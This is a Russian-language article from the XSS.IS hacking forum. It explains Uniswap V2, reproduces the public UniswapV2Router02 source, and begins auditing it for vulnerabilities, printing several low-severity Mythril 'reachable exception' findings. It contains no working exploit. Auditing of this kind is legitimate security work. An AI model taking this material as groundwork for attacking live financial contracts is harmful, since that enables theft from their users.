Thread ID: 79935
Created: 2023-01-14T10:01:58+0000
Last Post: 2023-05-16T17:45:48+0000
Author: вавилонец
Prefix: Статья
Replies: 23 Views: 2K

Специально для XSS.IS
$600 на SSD ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7
Мануал по крипте бесплатный, можно начинать без опыта /совсем/ -> https://xss.is/threads/73652/

Начнём с небольшого вката в термины Uniswap:
Uniswap v2 состоит из пулов ликвидности — смарт-контрактов, содержащих резервы двух токенов и позволяющих любому желающему выводить и вносить средства.
Алгоритмом автоматического создания рынка, используемым Uniswap является X * Y = K, где x и y — резервы двух токенов, A и B. чтобы вывести токен A из пула, пользователь должен внести соответствующее количество токена B, чтобы поддерживать постоянное значение k до уплаты комиссий.
Pool - ликвидность внутри пары объединяется между всеми поставщиками ликвидности. Factory - смарт-контракт для работы с любой торговой парой ERC20/ERC20. Pair - смарт-контракт, развернутый используя Factory Uniswap V2, для торговли двумя токенами ERC20.
Поставщик ликвидности / LP — это тот, кто вносит эквивалентную стоимость двух токенов ERC20 в пул ликвидности внутри пары. Поставщик ликвидности берёт на себя риск и получает компенсацию в виде комиссий.
Uniswap реализован в системе Не обновляемых смарт-контрактов на блокчейне Ethereum, что устраняет необходимость в посредниках, отдавая приоритет децентрализации и сопротивлению цензуре.
Любой может стать поставщиком ликвидности (LP) для пула, внеся эквивалентную стоимость каждого базового токена в обмен на токены пула. Эти токены отслеживают пропорциональные доли LP в общих резервах и могут быть обменены на базовые активы в любое время.
В конечном счете, конечно, протокол Uniswap — это просто код смарт-контракта, работающий на Ethereum.

Так выглядит модель торговли Uniswap:

uniswap_model.jpg

Думаю тут всё понятно, рассмотрим контракт 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, код я немного причесал, так как эти новые стандарты по улучшению читаемости кода мне как то не зашли, ну до и @@@ с ним. Разбор веду по коду ниже.

Spoiler

Code:Copy to clipboard

//SPDX-License-Identifier: UNLICENSED
pragma solidity =0.6.6;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(address indexed sender,uint amount0In,uint amount1In,uint amount0Out,uint amount1Out,address indexed to);
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(address tokenA,address tokenB,uint amountADesired,uint amountBDesired,uint amountAMin,uint amountBMin,address to,uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(address tokenA,address tokenB,uint liquidity,uint amountAMin,uint amountBMin,address to,uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(address token,uint liquidity,uint amountTokenMin,uint amountETHMin,address to,uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(address tokenA,address tokenB,uint liquidity,uint amountAMin,uint amountBMin,address to,uint deadline,bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(address token,uint liquidity,uint amountTokenMin,uint amountETHMin,address to,uint deadline,bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(uint amountOut,uint amountInMax,address[] calldata path,address to,uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)external payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,uint liquidity,uint amountTokenMin,uint amountETHMin,address to,uint deadline) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,uint liquidity,uint amountTokenMin,uint amountETHMin,address to,uint deadline,bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,address[] calldata path,address to,uint deadline) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IWETH {
    function deposit() external payable;
    function transfer(address to, uint value) external returns (bool);
    function withdraw(uint) external;
}

library SafeMath {
    function add(uint x, uint y) internal pure returns (uint z) {
        require((z = x + y) >= x, 'ds-math-add-overflow');
    }

    function sub(uint x, uint y) internal pure returns (uint z) {
        require((z = x - y) <= x, 'ds-math-sub-underflow');
    }

    function mul(uint x, uint y) internal pure returns (uint z) {
        require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
    }
}

library UniswapV2Library {
    using SafeMath for uint;

    // returns sorted token addresses, used to handle return values from pairs sorted in this order
    function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
        require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
        (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
    }

    // calculates the CREATE2 address for a pair without making any external calls
    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = sortTokens(tokenA, tokenB);
        pair = address(uint(keccak256(abi.encodePacked(hex'ff',factory, keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }

    // fetches and sorts the reserves for a pair
    function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
        (address token0,) = sortTokens(tokenA, tokenB);
        (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
        (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
    }

    // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
    function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
        require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
        require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
        amountB = amountA.mul(reserveB) / reserveA;
    }

    // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
        require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
        require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
        uint amountInWithFee = amountIn.mul(997);
        uint numerator = amountInWithFee.mul(reserveOut);
        uint denominator = reserveIn.mul(1000).add(amountInWithFee);
        amountOut = numerator / denominator;
    }

    // given an output amount of an asset and pair reserves, returns a required input amount of the other asset
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
        require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
        require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
        uint numerator = reserveIn.mul(amountOut).mul(1000);
        uint denominator = reserveOut.sub(amountOut).mul(997);
        amountIn = (numerator / denominator).add(1);
    }

    // performs chained getAmountOut calculations on any number of pairs
    function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
        require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
        amounts = new uint[](path.length);
        amounts[0] = amountIn;
        for (uint i; i < path.length - 1; i++) {
            (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
            amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
        }
    }

    // performs chained getAmountIn calculations on any number of pairs
    function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
        require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
        amounts = new uint[](path.length);
        amounts[amounts.length - 1] = amountOut;
        for (uint i = path.length - 1; i > 0; i--) {
            (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
            amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
        }
    }
}

library TransferHelper {
    function safeApprove(address token, address to, uint value) internal {
        // bytes4(keccak256(bytes('approve(address,uint256)')));
        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
    }
    function safeTransfer(address token, address to, uint value) internal {
        // bytes4(keccak256(bytes('transfer(address,uint256)')));
        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
    }
    function safeTransferFrom(address token, address from, address to, uint value) internal {
        // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
    }
    function safeTransferETH(address to, uint value) internal {
        (bool success,) = to.call{value:value}(new bytes(0));
        require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
    }
}

contract UniswapV2Router02 is IUniswapV2Router02 {
    using SafeMath for uint;

    address public immutable override factory;
    address public immutable override WETH;

    modifier ensure(uint deadline) {
        require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');
        _;
    }

    constructor(address _factory, address _WETH) public {
        factory = _factory;
        WETH = _WETH;
    }

    receive() external payable {
        assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
    }

    // **** ADD LIQUIDITY ****
    function _addLiquidity(address tokenA,address tokenB,uint amountADesired,uint amountBDesired,uint amountAMin,uint amountBMin
    ) internal virtual returns (uint amountA, uint amountB) {

        // create the pair if it doesn't exist yet
        if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {
            IUniswapV2Factory(factory).createPair(tokenA, tokenB);
        }
        (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
        if (reserveA == 0 && reserveB == 0) {
            (amountA, amountB) = (amountADesired, amountBDesired);
        } else {
            uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
            if (amountBOptimal <= amountBDesired) {
                require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
                (amountA, amountB) = (amountADesired, amountBOptimal);
            } else {
                uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
                assert(amountAOptimal <= amountADesired);
                require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
                (amountA, amountB) = (amountAOptimal, amountBDesired);
            }
        }
    }
    function addLiquidity(address tokenA,address tokenB,uint amountADesired,uint amountBDesired,uint amountAMin,uint amountBMin,address to,uint deadline
    ) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {

        (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
        address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
        TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
        TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
        liquidity = IUniswapV2Pair(pair).mint(to);
    }
    function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline
    ) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {

        (amountToken, amountETH) = _addLiquidity(token,WETH,amountTokenDesired,msg.value,amountTokenMin,amountETHMin);

        address pair = UniswapV2Library.pairFor(factory, token, WETH);
        TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
        IWETH(WETH).deposit{value: amountETH}();
        assert(IWETH(WETH).transfer(pair, amountETH));
        liquidity = IUniswapV2Pair(pair).mint(to);
        // refund dust eth, if any
        if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
    }

    // **** REMOVE LIQUIDITY ****
    function removeLiquidity(address tokenA,address tokenB,uint liquidity,uint amountAMin,uint amountBMin,address to,uint deadline
    ) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {

        address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
        IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
        (uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to);
        (address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB);
        (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
        require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
        require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
    }
    function removeLiquidityETH(address token,uint liquidity,uint amountTokenMin,uint amountETHMin,address to,uint deadline
    ) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
        (amountToken, amountETH) = removeLiquidity(
            token,WETH,liquidity,amountTokenMin,amountETHMin,address(this),deadline
        );
        TransferHelper.safeTransfer(token, to, amountToken);
        IWETH(WETH).withdraw(amountETH);
        TransferHelper.safeTransferETH(to, amountETH);
    }
    function removeLiquidityWithPermit(
        address tokenA,address tokenB,uint liquidity,uint amountAMin,uint amountBMin,address to,uint deadline,bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external virtual override returns (uint amountA, uint amountB) {
        address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
        uint value = approveMax ? uint(-1) : liquidity;
        IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
        (amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
    }
    function removeLiquidityETHWithPermit(address token,uint liquidity,uint amountTokenMin,uint amountETHMin,address to,uint deadline,bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external virtual override returns (uint amountToken, uint amountETH) {

        address pair = UniswapV2Library.pairFor(factory, token, WETH);
        uint value = approveMax ? uint(-1) : liquidity;
        IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
        (amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
    }

    // **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
    function removeLiquidityETHSupportingFeeOnTransferTokens(address token,uint liquidity,uint amountTokenMin,uint amountETHMin,address to,uint deadline
    ) public virtual override ensure(deadline) returns (uint amountETH) {

        (, amountETH) = removeLiquidity(
            token,WETH,liquidity,amountTokenMin,amountETHMin,address(this),deadline);
        TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this)));
        IWETH(WETH).withdraw(amountETH);
        TransferHelper.safeTransferETH(to, amountETH);
    }
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,uint liquidity,uint amountTokenMin,uint amountETHMin,address to,uint deadline,bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external virtual override returns (uint amountETH) {
        address pair = UniswapV2Library.pairFor(factory, token, WETH);
        uint value = approveMax ? uint(-1) : liquidity;
        IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
        amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
            token, liquidity, amountTokenMin, amountETHMin, to, deadline
        );
    }

    // **** SWAP ****
    // requires the initial amount to have already been sent to the first pair
    function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
        for (uint i; i < path.length - 1; i++) {
            (address input, address output) = (path[i], path[i + 1]);
            (address token0,) = UniswapV2Library.sortTokens(input, output);
            uint amountOut = amounts[i + 1];
            (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
            address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
            IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(amount0Out, amount1Out, to, new bytes(0));
        }
    }
    function swapExactTokensForTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline
    ) external virtual override ensure(deadline) returns (uint[] memory amounts) {
        amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
        require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
        TransferHelper.safeTransferFrom(
            path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
        );
        _swap(amounts, path, to);
    }
    function swapTokensForExactTokens(
        uint amountOut,uint amountInMax,address[] calldata path,address to,uint deadline
    ) external virtual override ensure(deadline) returns (uint[] memory amounts) {
        amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
        require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
        TransferHelper.safeTransferFrom(
            path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
        );
        _swap(amounts, path, to);
    }
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)external virtual override payable ensure(deadline)
        returns (uint[] memory amounts)
    {
        require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
        amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path);
        require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
        IWETH(WETH).deposit{value: amounts[0]}();
        assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
        _swap(amounts, path, to);
    }
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external virtual override ensure(deadline)
        returns (uint[] memory amounts)
    {
        require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
        amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
        require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
        TransferHelper.safeTransferFrom(
            path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
        );
        _swap(amounts, path, address(this));
        IWETH(WETH).withdraw(amounts[amounts.length - 1]);
        TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
    }
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external virtual override ensure(deadline) returns (uint[] memory amounts)
    {
        require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
        amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
        require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
        TransferHelper.safeTransferFrom(
            path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
        );
        _swap(amounts, path, address(this));
        IWETH(WETH).withdraw(amounts[amounts.length - 1]);
        TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
    }
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external virtual override payable ensure(deadline) returns (uint[] memory amounts)
    {
        require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
        amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
        require(amounts[0] <= msg.value, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
        IWETH(WETH).deposit{value: amounts[0]}();
        assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
        _swap(amounts, path, to);
        // refund dust eth, if any
        if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
    }

    // **** SWAP (supporting fee-on-transfer tokens) ****
    // requires the initial amount to have already been sent to the first pair
    function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
        for (uint i; i < path.length - 1; i++) {
            (address input, address output) = (path[i], path[i + 1]);
            (address token0,) = UniswapV2Library.sortTokens(input, output);
            IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output));
            uint amountInput;
            uint amountOutput;
            { // scope to avoid stack too deep errors
            (uint reserve0, uint reserve1,) = pair.getReserves();
            (uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
            amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput);
            amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);
            }
            (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
            address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
            pair.swap(amount0Out, amount1Out, to, new bytes(0));
        }
    }
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline
    ) external virtual override ensure(deadline) {
        TransferHelper.safeTransferFrom(
            path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
        );
        uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
        _swapSupportingFeeOnTransferTokens(path, to);
        require(
            IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
            'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
        );
    }
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin, address[] calldata path,address to,uint deadline) external virtual override payable ensure(deadline)
    {
        require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
        uint amountIn = msg.value;
        IWETH(WETH).deposit{value: amountIn}();
        assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn));
        uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
        _swapSupportingFeeOnTransferTokens(path, to);
        require(
            IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
            'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
        );
    }
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline
    )
        external virtual override ensure(deadline)
    {
        require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
        TransferHelper.safeTransferFrom(
            path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
        );
        _swapSupportingFeeOnTransferTokens(path, address(this));
        uint amountOut = IERC20(WETH).balanceOf(address(this));
        require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
        IWETH(WETH).withdraw(amountOut);
        TransferHelper.safeTransferETH(to, amountOut);
    }

    // **** LIBRARY FUNCTIONS ****
    function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
        return UniswapV2Library.quote(amountA, reserveA, reserveB);
    }

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure virtual override returns (uint amountOut) {
        return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);
    }

    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) public pure virtual override returns (uint amountIn)
    {
        return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);
    }
    function getAmountsOut(uint amountIn, address[] memory path) public view virtual override returns (uint[] memory amounts)
    {
        return UniswapV2Library.getAmountsOut(factory, amountIn, path);
    }
    function getAmountsIn(uint amountOut, address[] memory path) public view virtual override returns (uint[] memory amounts)
    {
        return UniswapV2Library.getAmountsIn(factory, amountOut, path);
    }
}

Анализ уязвимостей смарт-котрактов я начинаю с использования mythril, который обычно выдает такой вот развёрнутый рэзультат.

Spoiler: Результат

==== Exception State ====
SWC ID: 110
Severity: Low
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Function name: fallback
PC address: 466
Estimated Gas Usage: 82 - 177
A reachable exception has been detected.
It is possible to trigger an exception (opcode 0xfe). Exceptions can be caused by type errors, division by zero, out-of-bounds array access, or assert violations. Note that explicit assert() should only be used to check invariants. Use require() for regular input checking.
--------------------
Initial State:

Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}
Account: [SOMEGUY], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [CREATOR], function: unknown, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Exception State ====
SWC ID: 110
Severity: Low
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Function name: join_tg_invmru_haha_617eab6(address,uint256,bool)
PC address: 4130
Estimated Gas Usage: 565 - 660
A reachable exception has been detected.
It is possible to trigger an exception (opcode 0xfe). Exceptions can be caused by type errors, division by zero, out-of-bounds array access, or assert violations. Note that explicit assert() should only be used to check invariants. Use require() for regular input checking.
--------------------
Initial State:

Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}
Account: [SOMEGUY], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [CREATOR], function: unknown, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Exception State ====
SWC ID: 110
Severity: Low
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Function name: swapTokensForExactETH(uint256,uint256,address[],address,uint256)
PC address: 5951
Estimated Gas Usage: 520 - 615
A reachable exception has been detected.
It is possible to trigger an exception (opcode 0xfe). Exceptions can be caused by type errors, division by zero, out-of-bounds array access, or assert violations. Note that explicit assert() should only be used to check invariants. Use require() for regular input checking.
--------------------
Initial State:

Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}
Account: [SOMEGUY], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [SOMEGUY], function: unknown, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Exception State ====
SWC ID: 110
Severity: Low
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Function name: swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256,uint256,address[],address,uint256)
PC address: 6781
Estimated Gas Usage: 549 - 644
A reachable exception has been detected.
